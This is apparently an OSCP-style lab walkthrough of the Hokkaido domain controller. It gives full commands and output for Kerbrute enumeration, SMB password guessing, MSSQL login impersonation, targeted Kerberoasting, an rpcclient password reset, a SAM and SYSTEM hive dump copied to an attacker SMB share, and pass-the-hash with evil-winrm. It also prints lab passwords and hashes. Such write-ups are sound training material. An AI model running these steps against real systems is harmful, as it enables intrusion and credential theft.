

Hokkaido / Kerbrute Enum / Cleartext PW & MSSQL Impersonation / RPCClient Password Change / SeBackPrivilege SAM Dump PTH

After enumerating other services we decided to try and leverage Kerberos Pre-Authentication to capture usernames. We can do this using a tool known as Kerbrute:

```
(kali@kali)-[~/OSCP/Vault]
$ ./kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.192.40 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 100

Version: v1.0.3 (9dad6e1) - 10/25/24 - Ronnie Flathers @ropnop

2024/10/25 15:42:15 > Using KDC(s):
2024/10/25 15:42:15 > 192.168.192.40:88

2024/10/25 15:42:17 > [+] VALID USERNAME: administrator@hokkaido-aerospace.com
2024/10/25 15:42:19 > [+] VALID USERNAME: INFO@hokkaido-aerospace.com
2024/10/25 15:42:20 > [+] VALID USERNAME: info@hokkaido-aerospace.com
2024/10/25 15:42:25 > [+] VALID USERNAME: Info@hokkaido-aerospace.com
2024/10/25 15:42:33 > [+] VALID USERNAME: discovery@hokkaido-aerospace.com
2024/10/25 15:42:33 > [+] VALID USERNAME: Administrator@hokkaido-aerospace.com
```

Now we can use these users to brute force our way into SMB using CrackMapExec:

SMB	192.168.192.40	445	DC	[+] hokkaido-aerospace.com\info:info
SMB	192.168.192.40	445	DC	[+] Enumerated shares
SMB	192.168.192.40	445	DC	Share Permissions Remarks
k				
SMB	192.168.192.40	445	DC	ADMIN\$ Remote
-				
SMB	192.168.192.40	445	DC	C\$ Default
e Admin				
SMB	192.168.192.40	445	DC	homes READ,WRITE user
lt share				
SMB	192.168.192.40	445	DC	IPC\$ READ Remote
homes				
SMB	192.168.192.40	445	DC	NETLOGON READ Logon
e IPC				
SMB	192.168.192.40	445	DC	SERVER share
server share				
SMB	192.168.192.40	445	DC	UpdateServicesPackages READ
server share				
SMB	192.168.192.40	445	DC	A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system.
SMB	192.168.192.40	445	DC	WsusContent READ A network share to be used by Local Publishing to place published content on this WSUS system.
SMB	192.168.192.40	445	DC	WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.

Now we can interact with the SMB service on the host:

```
(kali㉿kali)-[~/OSCP/Hokkaido]
$ smbclient -L //192.168.192.40/ -U info
Password for [WORKGROUP\info]:

      Sharename      Type      Comment
      ──────────      ───      ─────────
ADMIN$              Disk      Remote Admin
C$                  Disk      Default share
homes               Disk      user homes
IPC$                 IPC       Remote IPC
NETLOGON            Disk      Logon server share
SYSVOL              Disk      Logon server share
UpdateServicesPackages Disk      A network share to be used by client systems for
collecting all software packages (usually applications) published on this WSUS system.
WsusContent          Disk      A network share to be used by Local Publishing to place
published content on this WSUS system.
WSUSTemp             Disk      A network share used by Local Publishing from a Remote
WSUS Console Instance.
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.192.40 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(kali㉿kali)-[~/OSCP/Hokkaido]
$ smbclient //192.168.192.40/homes -U info
Password for [WORKGROUP\info]:
Try "help" to get a list of possible commands.
smb: \>
```

In the homes share we found potential users but no useful files:

Angela.Davies	D	0	Sat Nov 25 09:57:09 2023
Annette.Buckley	D	0	Sat Nov 25 09:57:09 2023
Anthony.Anderson	D	0	Sat Nov 25 09:57:09 2023
Catherine.Knight	D	0	Sat Nov 25 09:57:09 2023
Charlene.Wallace	D	0	Sat Nov 25 09:57:09 2023
Cheryl.Singh	D	0	Sat Nov 25 09:57:09 2023
Deborah.Francis	D	0	Sat Nov 25 09:57:09 2023
Declan.Woodward	D	0	Sat Nov 25 09:57:09 2023
Elliott.Jones	D	0	Sat Nov 25 09:57:09 2023
Gordon.Brown	D	0	Sat Nov 25 09:57:09 2023
Grace.Lees	D	0	Sat Nov 25 09:57:09 2023
Hannah.O'Neill	D	0	Sat Nov 25 09:57:09 2023
Irene.Dean	D	0	Sat Nov 25 09:57:09 2023
Julian.Davies	D	0	Sat Nov 25 09:57:09 2023
Lynne.Tyler	D	0	Sat Nov 25 09:57:09 2023
Molly.Edwards	D	0	Sat Nov 25 09:57:09 2023
Rachel.Jones	D	0	Sat Nov 25 09:57:09 2023
Sian.Gordon	D	0	Sat Nov 25 09:57:09 2023
Tracy.Wood	D	0	Sat Nov 25 09:57:09 2023
Victor.Kelly	D	0	Sat Nov 25 09:57:09 2023

In the NETLOGON share we found a file called password_reset.txt which contained a password:

```
smb: \temp\> dir
.                D           0   Wed Dec  6 10:44:26 2023
..              D           0   Sat Nov 25 08:40:08 2023
password_reset.txt A          27   Sat Nov 25 08:40:29 2023

7699711 blocks of size 4096. 1919782 blocks available
smb: \temp\> get password_reset.txt
getting file \temp\password_reset.txt of size 27 as password_reset.txt (0.1
) (average 0.1 KiloBytes/sec)
smb: \temp\> █

(kali㉿kali)-[~/OSCP/Hokkaido]
$ cat password_reset.txt
Initial Password: Start123!
```

And the password works for the discovery account:

```
SMB 192.168.192.40 445 DC [+] hokkaido-aerospace.com\discovery:
Start123!
SMB 192.168.192.40 445 DC [+] Enumerated shares
SMB 192.168.192.40 445 DC
Share Permissions Remar
k
SMB 192.168.192.40 445 DC
-
SMB 192.168.192.40 445 DC ADMIN$ Remot
e Admin
SMB 192.168.192.40 445 DC C$ Defau
lt share
SMB 192.168.192.40 445 DC homes READ,WRITE user
homes
SMB 192.168.192.40 445 DC IPC$ READ Remot
e IPC
SMB 192.168.192.40 445 DC NETLOGON READ Logon
server share
SMB 192.168.192.40 445 DC SYSVOL READ Logon
server share
SMB 192.168.192.40 445 DC UpdateServicesPackages READ
A network share to be used by client systems for collecting all software packages (usua
lly applications) published on this WSUS system.
SMB 192.168.192.40 445 DC WsusContent READ A net
work share to be used by Local Publishing to place published content on this WSUS system.
SMB 192.168.192.40 445 DC WSUSTemp A net
work share used by Local Publishing from a Remote WSUS Console Instance.
```

Kerberoasting failed so we can try MSSQL with our creds for discovery:


```
(kali㉿kali)-[~/OSCP/Hokkaido]
$ mssqlclient.py discovery@hokkaido.offsec -windows-auth
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Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (HAERO\discovery guest@master)> █
```

First we can query for database users:
SELECT name FROM master..syslogins

```
SQL (HAERO\discovery guest@master)> SELECT name FROM master..syslogins
name
-----
sa
BUILTIN\Users
hrappdb-reader
HAERO\services
```

Next we can list databases:
SELECT name FROM master..sysdatabases;

```
SQL (HAERO\discovery guest@msdb)> SELECT name FROM master..sysdatabases;
name
-----
master
tempdb
model
msdb
hrappdb
```

Majority are common databases but hrappdb sticks out but as our current user we don't have permissions to access this database:

```
SQL (HAERO\discovery guest@msdb)> use hrappdb
ERROR: Line 1: The server principal "HAERO\discovery" is not able to access the database "hrappdb" under the current security context.
```

Let's see if there is someone we can impersonate that can access this database:

```
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON
a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
```

```
SQL (HAERO\discovery guest@msdb)> SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
name
-----
hrappdb-reader
```

Now let's impersonate them and try to access the database:

```
EXECUTE AS LOGIN='hrappdb-reader'
```

```
SQL (HAERO\discovery guest@master)> EXECUTE AS LOGIN='hrappdb-reader'
SQL (hrappdb-reader guest@master)> use hrappdb
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: hrappdb
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'hrappdb'.
SQL (hrappdb-reader hrappdb-reader@hrappdb)> █
```

Access the content of the database gives us a username and password:

```
SQL (hrappdb-reader hrappdb-reader@hrappdb)> SELECT * FROM INFORMATION_SCHEMA.TABLES
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
-----
hrappdb        dbo            sysauth      b'BASE TABLE'

SQL (hrappdb-reader hrappdb-reader@hrappdb)> SELECT * FROM sysauth
id  name                password
--  --
0   b'hrapp-service'    b'Untimed$Runny'

SQL (hrappdb-reader hrappdb-reader@hrappdb)> █
```

Logging in and evil-winrm does not work for this user so we can take a set further and try to use bloodhound-python. :


```
bloodhound-python -d hokkaido-aerospace.com -u hrapp-service -p 'Untimed$Runny' -c all --zip -ns 192.168.192.40
```

```

(kali@kali)-[~/OSCP/Hokkaido]
$ bloodhound-python -d hokkaido-aerospace.com -u hrapp-service -p 'Untimed$Runny' -c all --zip -ns 192.168.192.40
INFO: Found AD domain: hokkaido-aerospace.com
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.hokkaido-aerospace.com:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.hokkaido-aerospace.com
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.hokkaido-aerospace.com
INFO: Found 34 users
INFO: Found 62 groups
INFO: Found 2 gpos
INFO: Found 6 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer: dc.hokkaido-aerospace.com
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out.
INFO: Done in 00M 11S
INFO: Compressing output into 20241027001653_bloodhound.zip

```

Now we can upload the zip file to BloodHound for a path to gain access to the target system. Under Outbound Object Control for this user we see that it has control over Hazel.Green's account:



BloodHound provides a method on abusing the GenericWrite permission from our Linux machine:

Targeted Kerberoast

A targeted kerberoast attack can be performed using [targetedKerberoast.py](#).

```
targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p 'ItsPassword'
```

The tool will automatically attempt a targetedKerberoast attack, either on all users or against a specific one if specified in the command line, and then obtain a crackable hash. The cleanup is done automatically as well.


The recovered hash can be cracked offline using the tool of your choice.

We can download TargetedKerberoast from <https://github.com/ShutdownRepo/targetedKerberoast> and now we are able to capture Hazel.Green's hash for offline cracking:


```
(kali㉿kali)-[~/OSCP/Hokkaido]
$ hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

c4fbb1c0b919e7614f5da
086622744:haze1988
```

We are unable to gain remote access to the target with Hazel.Green's account so we must look for another method of lateral movement. Green is apart of the IT Group, along with 2 other users:



One of which is Molly.Smith who is also a Remote Desktop User:



IT departments typically have the capability to change users passwords, one method to do this remotely is through RPCClient, using the setuserinfo2 command:

```
(kali㉿kali)-[~/OSCP/Hokkaido]
$ rpcclient -N -U 'hazel.green%haze1988' hokkaido.offsec
rpcclient $> setuserinfo2 MOLLY.SMITH 23 'PASSWORD123!'
rpcclient $>
```

Now that the creds have changed and we know the user has remote desktop permissions we can attempt to login as Molly.Smith:

```
Microsoft Windows [Version 10.0.20348.2113]
(c) Microsoft Corporation. All rights reserved.

C:\Users\MOLLY.SMITH>whoami
haero\molly.smith

C:\Users\MOLLY.SMITH>
```

Privilege Escalation

As always we'll use whoami /priv to see what privileges our user has:


```
PS C:\Users\MOLLY.SMITH\Downloads> whoami /priv

PRIVILEGES INFORMATION
-----

Privilege Name            Description                                State
=====
SeMachineAccountPrivilege Add workstations to domain                Disabled
SeSystemtimePrivilege    Change the system time                    Disabled
SeBackupPrivilege        Back up files and directories             Disabled
SeRestorePrivilege       Restore files and directories             Disabled
SeShutdownPrivilege      Shut down the system                      Disabled
SeChangeNotifyPrivilege  Bypass traverse checking                  Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system      Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege      Change the time zone                      Disabled
```

Since we have Backup Privilege we can create backups of sensitive files. In this instance we are targeting the sam and system files:

```
PS C:\Users\MOLLY.SMITH\Downloads> reg save hklm\sam .\sam
The operation completed successfully.
PS C:\Users\MOLLY.SMITH\Downloads> reg save hklm\system .\system
The operation completed successfully.
PS C:\Users\MOLLY.SMITH\Downloads> dir

Directory: C:\Users\MOLLY.SMITH\Downloads

Mode                LastWriteTime         Length Name
----                -
-a----           10/27/2024   4:13 PM             335 EnableRestorePrivilege.ps1
-a----           10/27/2024   4:19 PM          49152 sam
-a----           10/27/2024   4:19 PM       17981440 system
```

Now we must move the files back to our Kali instance. To do this we'll set up an SMB server with user credentials:

```
(kali@kali)-[~/OSCP/Hokkaido]
$ smbserver.py share -smb2support . -user test -password test
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[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

Then we'll use the net use command on Windows to connect to our server:

```
PS C:\> net use \\192.168.45.185\share /user:test test
The command completed successfully.
```

Lastly, we'll transfer the file over:

```
PS C:\> cp .\inetpub\wwwroot\sam \\192.168.45.185\share\
PS C:\> cp .\inetpub\wwwroot\system \\192.168.45.185\share\
```

```
(kali㉿kali)-[~/OSCP/Hokkaido]
$ dir
```

```

-
-
-
Hokkaido_Nmap
-
system
sam
```

Next we'll use secretdumps to dump the SAM file:

```
(kali㉿kali)-[~/OSCP/Hokkaido]
```

```
$ impacket-secretsdump -system system -sam sam local
```

```
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```

```
[*] Target system bootKey: 0x2fcb0ca02fb5133abd227a05724cd961
```

```
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d752482897d54e239376
fddb2a2109e4:::
```

```
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0
89c0:::
```

```
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73
c59d7e0c089c0:::
```

```
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The accou
nt doesn't have hash information.
```

```
[*] Cleaning up ...
```

Instead of cracking the hash we can perform a PassTheHash with Evil-WinRM:

```
(kali㉿kali)-[~/OSCP/Hokkaido]
$ evil-winrm -i hokkaido.offsec -u Administrator -H d752482897d54e239376fd
ddb2a2109e4

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: qu
oting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com
/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> 
```